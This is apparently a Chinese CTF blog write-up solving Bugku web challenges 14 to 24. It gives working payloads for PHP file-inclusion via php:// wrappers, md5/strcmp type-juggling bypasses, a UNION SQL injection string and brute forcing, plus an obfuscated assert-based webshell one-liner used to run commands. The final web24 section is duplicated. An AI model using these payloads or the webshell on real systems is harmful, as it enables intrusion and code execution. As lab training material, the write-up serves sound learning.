bugku web总结_1

## bugku web总结(14-24)

web14:

打开题目,可以看到一个链接click me

点击后显示了index.php,可能提示flag存在index.php中

如上图我们还可以看到多了一个参数file,很像是文件包含,这里我们可以尝试使用php伪协议读取文件内容,放上一个介绍php伪协议的文章链接https://segmentfault.com/a/1190000018991087

构造payload:php://filter/read=convert.base64-encode/resource=index.php,其中read为读过滤器,此项为选填,这里选用了base64编码,防止无法直接传输,resource为必填,指定我们要读取的数据流

拿到一串base64编码


hackbar解码,可以看到源码中有一行注释,成功拿到flag

20210416183207599.png

web15:

打开之后提示输入5位密码

直接burp扔给intruder爆破,没什么好说的

web16:

点开题目之后,给了一串md5值

解密之后显示空密码,右键查看源代码也看不到什么特殊东西

结合题目的名字,叫做备份是个好习惯,我们目录扫描一波后台,看看能不能发现备份文件

不出所料,有一个index.php.bak文件

我们访问它,将其下载下来,源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
/**

* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/

include_once "flag.php"; //告诉我们flag文件
ini_set("display_errors", 0); //ini_set设置php.ini选项,此处参数display_error为报错回显
$str = strstr($_SERVER['REQUEST_URI'], '?');//$_SERVER['REQUEST_URI']回显当前路径,strstr函 数为截取字符串,如此处为从?截取到字符串结束为止
$str = substr($str,1); //substr也是截取字符串,此处表示从第一个开始(扔掉?),截取到结尾
$str = str_replace('key','',$str); //将变量str中的key替换为空
parse_str($str); //parse_str函数将括号内的赋值语句直接转化为变量,并给它赋值,比如 parse_str(a=1),就会创建一个变量a,并赋值为1
echo md5($key1); //变量key1md5加密

echo md5($key2); //同上
if(md5($key1) == md5($key2) && $key1 !== $key2){ //md5加密后的key1和key2相等,原值不相等
echo $flag."取得flag"; //打印flag
}
?>

这里既要key1和key2的md5值相等,原值又不能相等,有两个思路,一是利用md5()函数对数组不起效,将两个变量以数组形式输入,这样两个md5()都返回null,满足相等条件

payload:?kekeyy1[]=12agh&kekeyy2[]=123ccnjgg

二是利用php在处理长的字符串时会转换成科学计数法,我们可以找两个md5值是0e开头的,它在解析时会当做0的xx次方,都是0,满足条件

payload:?kekeyy1=240610708&kekeyy2=s155964671a

web17:

点开题目之后,给了一个成绩查询页面

很自然的想到sql注入,经测试是个字符型的,无任何过滤,没啥好说的,手注、sqlmap均可

最后得到flag,payload:0’ union select 1,2,3,skctf_flag from fl4g#

web18:

点开题目之后,给出一个算式,让我们2s给出结果

很显然手工做不到,但是可以借助脚本获取数值之后计算传参,拿到flag

1
2
3
4
5
6
7
8
9
10
11
12
import requests #引入request库
import re #引入re库
url = '''http://114.67.246.176:10736/'''
s = requests.session() #用session会话保持表达式
retuen = s.get(url)
equation = re.search(r'(\d+[+\-*])+(\d+)',retuen.text).group()
result = eval(equation) #eval()函数用来执行一个字符串表达式,并返回表达式的值。

key = {'value':result}#创建一个字典类型用于传参
flag = s.post(url,data=key)#用post方法传上去

print(flag.text)

web19:

打开题目之后,会提示我们快一点,bp抓包查看返回信息,可以在header中看到一串类似flag的东西

base64两次解密后会变成一串数字,提交上去也不对,把请求包再send一次,会发现flag会变,好吧,确实速度要快,和上一题基本一个思路,下面给出脚本代码

1
2
3
4
5
6
7
8
9
import requests
import base64
url = "http://114.67.246.176:17056/"
r = requests.Session()
headers = r.get(url).headers
str1 = base64.b64decode(headers['flag'])
str2 = base64.b64decode(repr(str1).split(':')[1]) # repr()函数将对象转化为供解释器读取的形式(Bety- >str)
data = {'margin':str2}
print (r.post(url,data).text)

python3运行,成功拿到flag

web20:

打开题目之后,会给出一长串不明意义的字符串,右键查看源码也并没有发现什么

观察url,有两个参数,一个line是空的没有赋值,另一个filename给了一串base64编码:a2V5cy50eHQ=,解码之后得到keys.txt,将文件名换为同样base64加密后的index.php,可以看到一个标签”<?php”,可以确定此处能够查看源码,依次改变line值,最后可以读出整段源码,如下

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array('0' =>'keys.txt','1' =>'index.php',);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){ #当cookie为margin=margin时
$file_list[2]='keys.php';} #给file_list[2]增加keys.php
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];}
?>

从代码中可以看到,当cookie为margin=margin时,会在file_list[2]数组中增加keys.php的值

我们照做,使用hackbar或burp抓包添加cookie值后,查看返回包或返回页面源码,即可拿到flag

web21:

点开之后没看到啥提示信息

右键查看源码,可以看到提示了一个1p.html

直接访问此页面的话,会跳转至bugku的首页,我们用burp抓包,将请求页面替换为1p.html

返回的数据包中包含一串url编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<HTML>

<HEAD>
<SCRIPT LANGUAGE="Javascript">
<!--
var Words ="%3Cscript%3Ewindow.location.href%3D'http%3A%2F%2Fwww.bugku.com'%3B%3C%2Fscript%3E%20%0A%3C!--JTIyJTNCaWYoISUyNF9HRVQlNUInaWQnJTVEKSUwQSU3QiUwQSUwOWhlYWRlcignTG9jYXRpb24lM0ElMjBoZWxsby5waHAlM0ZpZCUzRDEnKSUzQiUwQSUwOWV4aXQoKSUzQiUwQSU3RCUwQSUyNGlkJTNEJTI0X0dFVCU1QidpZCclNUQlM0IlMEElMjRhJTNEJTI0X0dFVCU1QidhJyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJ2InJTVEJTNCJTBBaWYoc3RyaXBvcyglMjRhJTJDJy4nKSklMEElN0IlMEElMDllY2hvJTIwJ25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJyUzQiUwQSUwOXJldHVybiUyMCUzQiUwQSU3RCUwQSUyNGRhdGElMjAlM0QlMjAlNDBmaWxlX2dldF9jb250ZW50cyglMjRhJTJDJ3InKSUzQiUwQWlmKCUyNGRhdGElM0QlM0QlMjJidWdrdSUyMGlzJTIwYSUyMG5pY2UlMjBwbGF0ZWZvcm0hJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuKCUyNGIpJTNFNSUyMGFuZCUyMGVyZWdpKCUyMjExMSUyMi5zdWJzdHIoJTI0YiUyQzAlMkMxKSUyQyUyMjExMTQlMjIpJTIwYW5kJTIwc3Vic3RyKCUyNGIlMkMwJTJDMSkhJTNENCklMEElN0IlMEElMDklMjRmbGFnJTIwJTNEJTIwJTIyZmxhZyU3QioqKioqKioqKioqJTdEJTIyJTBBJTdEJTBBZWxzZSUwQSU3QiUwQSUwOXByaW50JTIwJTIybmV2ZXIlMjBuZXZlciUyMG5ldmVyJTIwZ2l2ZSUyMHVwJTIwISEhJTIyJTNCJTBBJTdEJTBBJTBBJTBBJTNGJTNF--%3E"
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
OutWord();
// -->
</SCRIPT>
</HEAD>

<BODY>
</BODY>
</HTML>

解码之后得到一串注释

1
2
"<script>window.location.href='http://www.bugku.com';</script> 
<!--JTIyJTNCaWYoISUyNF9HRVQlNUInaWQnJTVEKSUwQSU3QiUwQSUwOWhlYWRlcignTG9jYXRpb24lM0ElMjBoZWxsby5waHAlM0ZpZCUzRDEnKSUzQiUwQSUwOWV4aXQoKSUzQiUwQSU3RCUwQSUyNGlkJTNEJTI0X0dFVCU1QidpZCclNUQlM0IlMEElMjRhJTNEJTI0X0dFVCU1QidhJyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJ2InJTVEJTNCJTBBaWYoc3RyaXBvcyglMjRhJTJDJy4nKSklMEElN0IlMEElMDllY2hvJTIwJ25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJyUzQiUwQSUwOXJldHVybiUyMCUzQiUwQSU3RCUwQSUyNGRhdGElMjAlM0QlMjAlNDBmaWxlX2dldF9jb250ZW50cyglMjRhJTJDJ3InKSUzQiUwQWlmKCUyNGRhdGElM0QlM0QlMjJidWdrdSUyMGlzJTIwYSUyMG5pY2UlMjBwbGF0ZWZvcm0hJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuKCUyNGIpJTNFNSUyMGFuZCUyMGVyZWdpKCUyMjExMSUyMi5zdWJzdHIoJTI0YiUyQzAlMkMxKSUyQyUyMjExMTQlMjIpJTIwYW5kJTIwc3Vic3RyKCUyNGIlMkMwJTJDMSkhJTNENCklMEElN0IlMEElMDklMjRmbGFnJTIwJTNEJTIwJTIyZmxhZyU3QioqKioqKioqKioqJTdEJTIyJTBBJTdEJTBBZWxzZSUwQSU3QiUwQSUwOXByaW50JTIwJTIybmV2ZXIlMjBuZXZlciUyMG5ldmVyJTIwZ2l2ZSUyMHVwJTIwISEhJTIyJTNCJTBBJTdEJTBBJTBBJTBBJTNGJTNF-->"

将注释base64解码,终于得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
";if(!$_GET['id'])     //变量id不为空
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.')) //变量a中不含有.
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r'); //将变量a的值读入$data
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) //①
{
$flag = "flag{***********}"
}
else
{
print "never never never give up !!!";
}
?>

①:首先要求data的值,即a的内容为bugku is a nice plateform!,id不为0,且长度大于5,substr($b,0,1)为截取b的第一个字符(从第0个开始读取1个),111+b的第一个字符需要在1114中出现,且b的第一个字符不能为4

总结一下,想要输出flag,必须满足几个条件:a要为bugku is a nice plateform!,id不能为空但需要id==0,此处可以使用0e1234来绕过(会识别为科学计数法),也可以使用0abc来绕过,php是弱类型语言,数字和字符(串)的比较是存在类型转换的,对字符串来说是以开头的数字为准,所以在松散(==)比较中,0==0abc是正确的,详情可以百度=====的差别,最后还要满足上文①中b的要求,这里可以用.12345或*12345来绕过,这两个符号为php的通配符,放在此处取第一个字符后会被当成是任意字符

最终payload:?id=0e123&a=php://input&b=.12345,另外需要在下面加上post传参bugku is a nice plateform!

得到flag

web22:

这题并没有把提示放在题目中,而是放在了题目入口处

送给大家一个过狗一句话

1
$poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s'])

分析一下,这一串代码总结下来:

1.$poc=a#s#s#e#r#t

2.$poc_1=explode("#",$poc),这个函数的意思是以#为定界符,分隔字符串$poc,即$poc_1=assert

3.$poc_2=$poc_1=assert,$poc_2($_GET['s'])的含义就是assert($\_GET['s']),assert函数可以进行代码执行

那接下来就好办了,先dir看下当前目录下的文件

看到了flag文件,直接cat查看,拿到flag

web23:

点击进入题目,直接给了一段源码

1
2
3
4
5
6
7
8
<?php 
highlight_file('2.php');
$key='flag{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){
die('key is: '.$key);
}
?>

一开始看到源码中提示了一个文件2.php,切换到这个文件,会发现返回的页面依旧是这个页面,没办法,那就看看源码

源码中给$key赋值了flag,并在下面的if判断中利用die函数输出了这个值,那么我们现在的目标就是让下面这个if判断成立,要成立就要$IM为真,此处$IM为preg_match函数的一个返回值,这个函数是判断搜索第二个参数与第一个参数的一个正则匹配,即第二个参数trim($_GET["id"])中是否存在第一个参数"/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i",如果存在返回true,不存在返回false

解释一下这个参数中涉及到的一些符号

1
2
3
4
5
6
7
8
9
10
11
12
13
. 为通配符,表示一个任意非\n和\r单字符

.*为字符串通配符,详情可百度"贪婪匹配"

\为转义符

[a-z]为任意小写字母

[[:punct:]]为任意符号

/i为不区分大小写

()标记一个子表达式的开始和结束位置,此处不用理会

最后得到payload: ?id=keyakeyaaaakey:/a/akeya?

成功拿到flag

web24:

点开题目之后,是一大段文字,讲了个小段子,玩了一下php的梗

查看页面源码,发现给了一个链接

点击进去,这个txt给了一段源码

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>

看了源码之后,会发现这题和前面的web16很像,都是既要md5值相等,又要原值不相等

有两个思路,一是利用md5()函数对数组不起效,将两个变量以数组形式输入,这样两个md5()都返回null,满足相等条件

二是利用php在处理长的字符串时会转换成科学计数法,我们可以找两个md5值是0e开头的,它在解析时会当做0的xx次方,都是0,满足条件

这里还多出来一个strcmp函数,这个函数的作用是比较两个字符串,且只有两个字符串相等时,才会返回0,这里利用strcmp对数组不起作用,直接返回0来绕过

构造payload:?v1[]=1&v2[]=2&v3[]=1

得到flag

看了源码之后,会发现这题和前面的web16很像,都是既要md5值相等,又要原值不相等

有两个思路,一是利用md5()函数对数组不起效,将两个变量以数组形式输入,这样两个md5()都返回null,满足相等条件

二是利用php在处理长的字符串时会转换成科学计数法,我们可以找两个md5值是0e开头的,它在解析时会当做0的xx次方,都是0,满足条件

这里还多出来一个strcmp函数,这个函数的作用是比较两个字符串,且只有两个字符串相等时,才会返回0,这里利用strcmp对数组不起作用,直接返回0来绕过

构造payload:?v1[]=1&v2[]=2&v3[]=1

得到flag


作者:C0mpactDisk,本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!